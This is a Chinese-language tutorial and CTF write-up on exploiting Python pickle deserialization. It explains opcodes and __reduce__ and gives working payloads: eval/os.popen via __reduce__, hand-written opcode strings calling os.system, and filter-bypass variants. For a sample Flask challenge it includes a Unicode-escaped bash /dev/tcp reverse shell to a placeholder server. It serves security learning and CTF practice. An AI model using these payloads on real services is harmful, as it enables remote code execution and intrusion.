Pickle反序列化
pickle簡介
-
與PHP類似,python也有序列化功能以長期儲存內存中的數據。pickle是python下的序列化與反序列化包。
-
python有另一個更原始的序列化包marshal,現在開發時一般使用pickle。
-
與json相比,pickle以二進制儲存,不易人工閲讀;json可以跨語言,而pickle是Python專用的;pickle能表示python幾乎所有的類型(包括自定義類型),json只能表示一部分內置類型且不能表示自定義類型。
-
pickle實際上可以看作一種獨立的語言,通過對opcode的更改編寫可以執行python代碼、覆蓋變量等操作。直接編寫的opcode靈活性比使用pickle序列化生成的代碼更高,有的代碼不能通過pickle序列化得到(pickle解析能力大於pickle生成能力)。
-
其中這裏
有的代碼通常涉及pickle協議中一些底層、特殊或非常規的操作,它們超出了簡單地“保存和恢復對象狀態”的範疇-
直接操作棧和變量的底層指令
pickle 的 opcode 包含了一系列用於操作虛擬機棧(Stack)和內存變量的指令,這些指令在常規序列化中會被高層邏輯自動處理,用户無法直接觸發:
- 棧操作指令:如
PUSH、POP、DUP、SWAP等,用於手動控制棧的內容。 - 變量操作指令:如
STORE(存儲變量)、LOAD(加載變量)、DELETE(刪除變量)等,可直接修改全局 / 局部變量,而常規序列化只會保存對象屬性,不會主動修改變量。
- 棧操作指令:如
-
執行任意代碼的指令
pickle 包含
REDUCE、GLOBAL、INST等指令,配合特殊操作可執行任意 Python 代碼,但常規序列化僅會調用對象的__reduce__等方法,不會主動構造惡意或非常規的代碼執行邏輯:- 例如,通過
GLOBAL指令加載os.system,再通過CALL指令執行系統命令,這種操作無法通過序列化普通對象實現。
- 例如,通過
-
非常規對象或特殊結構的構造
對於一些沒有明確 “狀態” 的對象,或需要動態構造的特殊結構,常規序列化無法生成對應的 opcode:
- 函數 / 類的動態修改:直接修改函數的
__code__屬性,或動態創建類的屬性,這類操作需要手動編寫 opcode 實現。 - 循環引用的特殊處理:雖然 pickle 支持循環引用,但手動編寫 opcode 可更靈活地控制引用的創建順序,這是常規序列化無法做到的。
- 函數 / 類的動態修改:直接修改函數的
-
pickle 協議的擴展或未公開指令
pickle 的不同協議版本包含一些未被高層 API 使用的指令,這些指令只能通過手動編寫 opcode 調用:
- 例如,Python 3.x 中新增的
FRAME、MEMOIZE等指令,用於優化序列化效率,但常規序列化不會主動使用這些底層指令。
- 例如,Python 3.x 中新增的
-
object.reduce() 函數
- 在開發時,可以通過重寫類的
object.__reduce__()函數,使之在被實例化時按照重寫的方式進行。具體而言,python要求object.__reduce__()返回一個(callable, ([para1,para2...])[,...])的元組,每當該類的對象被unpickle時,該callable就會被調用以生成對象(該callable其實是構造函數)。 - 在下文pickle的opcode中,
R的作用與object.__reduce__()關係密切:選擇棧上的第一個對象作為函數、第二個對象作為參數(第二個對象必須為元組),然後調用該函數。其實R正好對應object.__reduce__()函數,object.__reduce__()的返回值會作為R的作用對象,當包含該函數的對象被pickle序列化時,得到的字符串是包含了R的。
什麼是opcode
python的opcode是一組原始指令,用於在python解釋器中執行字節碼。每個opcode都是一個標識符,代表一種特定的操作或指令。
在python中,源代碼首先被破譯為字節碼,然後由解釋器逐條執行字節碼執行字節碼指令。這些指令以opcode的形式存儲在字節碼對象中,並由python解釋器按順序解釋和執行。
每個opcode都有其特定的功能,用於執行不同的操作,例如變量加載、函數調用、數值運算、控制流程等。python提供了大量的opcode,以支持各種操作和語言特性。
INST i、OBJO、REDUCER都可以調用一個callable對象
pickle由於有不同的實現版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中執行)。
import pickle
a={'1': 1, '2': 2}
print(f'# 原變量:{a!r}')
for i in range(6):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
pickle3版本的opcode示例:
# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
# \x80:協議頭聲明 \x03:協議版本
# \x04\x00\x00\x00:數據長度:4
# abcd:數據
# q:儲存棧頂的字符串長度:一個字節(即\x00)
# \x00:棧頂位置
# .:數據截止
pickletools
使用pickletools可以方便的將opcode轉化為便於肉眼讀取的形式
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
pickle exp的簡單demo
這裏舉一道CTF例子
[第十五屆極客大挑戰]ez_python
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
calc路由:使用 pickle.loads 嘗試反序列化處理後的字節串。如果這個字節串不是合法的序列化對象,或者在反序列化過程中出現問題,可能會引發錯誤。
readFile路由:打開這個文件名對應的文件進行讀取,並將文件內容返回給客户端。如果文件名不合法或者文件不存在,可能會引發錯誤。
#exp
import os
import pickle
import base64
class A():
def __reduce__(self):
#return (eval,("__import__('o'+'s').popen('ls / | tee a').read()",))
return (eval,("__import__('o'+'s').popen('env | tee a').read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
除了執行命令之外還可以進行變量覆蓋
import pickle
key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
基於opcode繞過字節碼過濾
對於一些題會對傳入的數據進行過濾
例如
1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code
2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
這個時候考慮用用到opcode
Python中的pickle更像一門編程語言,一種基於棧的虛擬機
如何手寫opcode
- 在CTF中,很多時候需要一次執行多個函數或一次進行多個指令,此時就不能光用
__reduce__來解決問題(reduce一次只能執行一個函數,當exec被禁用時,就不能一次執行多條指令了),而需要手動拼接或構造opcode了。手寫opcode是pickle反序列化比較難的地方。 - 在這裏可以體會到為何pickle是一種語言,直接編寫的opcode靈活性比使用pickle序列化生成的代碼更高,只要符合pickle語法,就可以進行變量覆蓋、函數執行等操作。
- 根據前文不同版本的opcode可以看出,版本0的opcode更方便閲讀,所以手動編寫時,一般選用版本0的opcode。
這裏列舉了幾個opcode,更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111
| opcode | 描述 | 具體寫法 | 棧上的變化 | memo上的變化 |
|---|---|---|---|---|
| c | 獲取一個全局對象或import一個模塊(注:會調用import語句,能夠引入新的包) | c[module]\n[instance]\n | 獲得的對象入棧 | 無 |
| o | 尋找棧中的上一個MARK,以之間的第一個數據(必須為函數)為callable,第二個到第n個數據為參數,執行該函數(或實例化一個對象) | o | 這個過程中涉及到的數據都出棧,函數的返回值(或生成的對象)入棧 | 無 |
| i | 相當於c和o的組合,先獲取一個全局函數,然後尋找棧中的上一個MARK,並組合之間的數據為元組,以該元組為參數執行全局函數(或實例化一個對象) | i[module]\n[callable]\n | 這個過程中涉及到的數據都出棧,函數返回值(或生成的對象)入棧 | 無 |
| N | 實例化一個None | N | 獲得的對象入棧 | 無 |
| S | 實例化一個字符串對象 | S'xxx'\n(也可以使用雙引號、'等python字符串形式) | 獲得的對象入棧 | 無 |
| V | 實例化一個UNICODE字符串對象 | Vxxx\n | 獲得的對象入棧 | 無 |
| I | 實例化一個int對象 | Ixxx\n | 獲得的對象入棧 | 無 |
| F | 實例化一個float對象 | Fx.x\n | 獲得的對象入棧 | 無 |
| R | 選擇棧上的第一個對象作為函數、第二個對象作為參數(第二個對象必須為元組),然後調用該函數 | R | 函數和參數出棧,函數的返回值入棧 | 無 |
| . | 程序結束,棧頂的一個元素作為pickle.loads()的返回值 | . | 無 | 無 |
| ( | 向棧中壓入一個MARK標記 | ( | MARK標記入棧 | 無 |
| t | 尋找棧中的上一個MARK,並組合之間的數據為元組 | t | MARK標記以及被組合的數據出棧,獲得的對象入棧 | 無 |
| ) | 向棧中直接壓入一個空元組 | ) | 空元組入棧 | 無 |
| l | 尋找棧中的上一個MARK,並組合之間的數據為列表 | l | MARK標記以及被組合的數據出棧,獲得的對象入棧 | 無 |
| ] | 向棧中直接壓入一個空列表 | ] | 空列表入棧 | 無 |
| d | 尋找棧中的上一個MARK,並組合之間的數據為字典(數據必須有偶數個,即呈key-value對) | d | MARK標記以及被組合的數據出棧,獲得的對象入棧 | 無 |
| } | 向棧中直接壓入一個空字典 | } | 空字典入棧 | 無 |
| p | 將棧頂對象儲存至memo_n | pn\n | 無 | 對象被儲存 |
| g | 將memo_n的對象壓棧 | gn\n | 對象被壓棧 | 無 |
| 0 | 丟棄棧頂對象 | 0 | 棧頂對象被丟棄 | 無 |
| b | 使用棧中的第一個元素(儲存多個屬性名: 屬性值的字典)對第二個元素(對象實例)進行屬性設置 | b | 棧上第一個元素出棧 | 無 |
| s | 將棧的第一個和第二個對象作為key-value對,添加或更新到棧的第三個對象(必須為列表或字典,列表以數字作為key)中 | s | 第一、二個元素出棧,第三個元素(列表或字典)添加新值或被更新 | 無 |
| u | 尋找棧中的上一個MARK,組合之間的數據(數據必須有偶數個,即呈key-value對)並全部添加或更新到該MARK之前的一個元素(必須為字典)中 | u | MARK標記以及被組合的數據出棧,字典被更新 | 無 |
| a | 將棧的第一個元素append到第二個元素(列表)中 | a | 棧頂元素出棧,第二個元素(列表)被更新 | 無 |
| e | 尋找棧中的上一個MARK,組合之間的數據並extends到該MARK之前的一個元素(必須為列表)中 | e | MARK標記以及被組合的數據出棧,列表被更新 | 無 |
對於做題而言會opache改寫就行了
INST i、OBJ o、REDUCE R 都可以調用一個 callable 對象
RCE demo:
R:
b'''cos\nsystem\n(S'whoami'\ntR.'''
c:獲取全局對象指令。格式為 c[模塊]\n[對象]\n,這裏是加載 os 模塊的 system 函數。
(:壓入 MARK 標記。
S'whoami':壓入字符串 'whoami' 作為參數。
t:構建元組(將 MARK 到當前位置的元素打包成元組)。
R:調用指令(REDUCE),執行棧頂的可調用對象(os.system)並傳入元組參數。
.:結束,返回結果。
i
b'''(S'whoami'\nios\nsystem\n.'''
(:壓入 MARK 標記。
S'whoami':壓入參數 'whoami'。
i:實例化指令(INST),需要棧頂是類 / 函數,其下是參數。
os\nsystem:加載 os.system 函數(作為可調用對象)。
.:結束,執行函數調用。
o
b'''(cos\nsystem\nS'whoami'\no.'''
o:調用指令(OBJECT),找到 MARK 標記,將 MARK 後的第一個元素作為可調用對象,後續作為參數執行調用。
無R,i,o os可過
b'''(cos\nsystem\nS'calc'\nos.'''
無R,i,o os 可過 + 關鍵詞過濾
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
V操作碼是可以識別\u (unicode編碼繞過)
特別是命令有特殊功能字符
這裏有一個坑 \n是換行如果用賽博廚子 會將 \n 當作字符處理,易出錯,所以要用python處理
import base64
opcode=b''''''
print(base64.b64encode(opcode))
例題
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
審計就不説,前面也就是去爆破一下key,通過flask-unsign去偽造一下admin的cookie
重點看pickle反序列化部分
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
首先將opcode進行關鍵字替換,然後base64解碼賦值給a;接着進行if判斷Riob是否存在a中,然後進行pickle反序列化
這裏雖然禁用操作符使得難以繞過,但是waf存在邏輯漏洞,也就是説pickle的對象是ser_data,而不是a,所以我們opcode中有os雖然會被替換為Os,但是我們還是能執行opcode
然後這裏用到的是前面的無R,i,o os 可過 + 關鍵詞過濾
import pickletools
data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
pickletools.dis(data)
然後我們打算進行反彈shell,反彈shell中需要用到i參數,而i參數會被檢測,但是V操作碼是可以識別\u的所以我們可以把我們的代碼進行Unicode編碼然後放入payload中
\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027
import pickletools
data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
pickletools.dis(data)
可以看到雖然用了Unicode編碼,但還是被解析了。
當然這裏要改成自己服務器的ip和端口
構造完opcode之後那就可以去偽造cookie了,偽造部分就不説了,之後再/admin改包就可以反彈shell了。
pker工具
補充一個工具
https://github.com/eddieivan01/pker
GLOBAL
對應opcode:b’c’
獲取module下的一個全局對象(沒有import的也可以,比如下面的os):
GLOBAL(‘os’, ‘system’)
輸入:module,instance(callable、module都是instance)
INST
對應opcode:b’i’
建立併入棧一個對象(可以執行一個函數):
INST(‘os’, ‘system’, ‘ls’)
輸入:module,callable,para
OBJ
對應opcode:b’o’
建立併入棧一個對象(傳入的第一個參數為callable,可以執行一個函數)):
OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)
輸入:callable,para
xxx(xx,…)
對應opcode:b’R’
使用參數xx調用函數xxx(先將函數入棧,再將參數入棧並調用)
li[0]=321
或
globals_dic[‘local_var’]=‘hello’
對應opcode:b’s’
更新列表或字典的某項的值
xx.attr=123
對應opcode:b’b’
對xx對象進行屬性設置
return
對應opcode:b’0’
出棧(作為pickle.loads函數的返回值):
return xxx # 注意,一次只能返回一個對象或不返回對象(就算用逗號隔開,最後也只返回一個元組)
參考資料:
https://xz.aliyun.com/news/7032#toc-11
https://www.anquanke.com/post/id/188981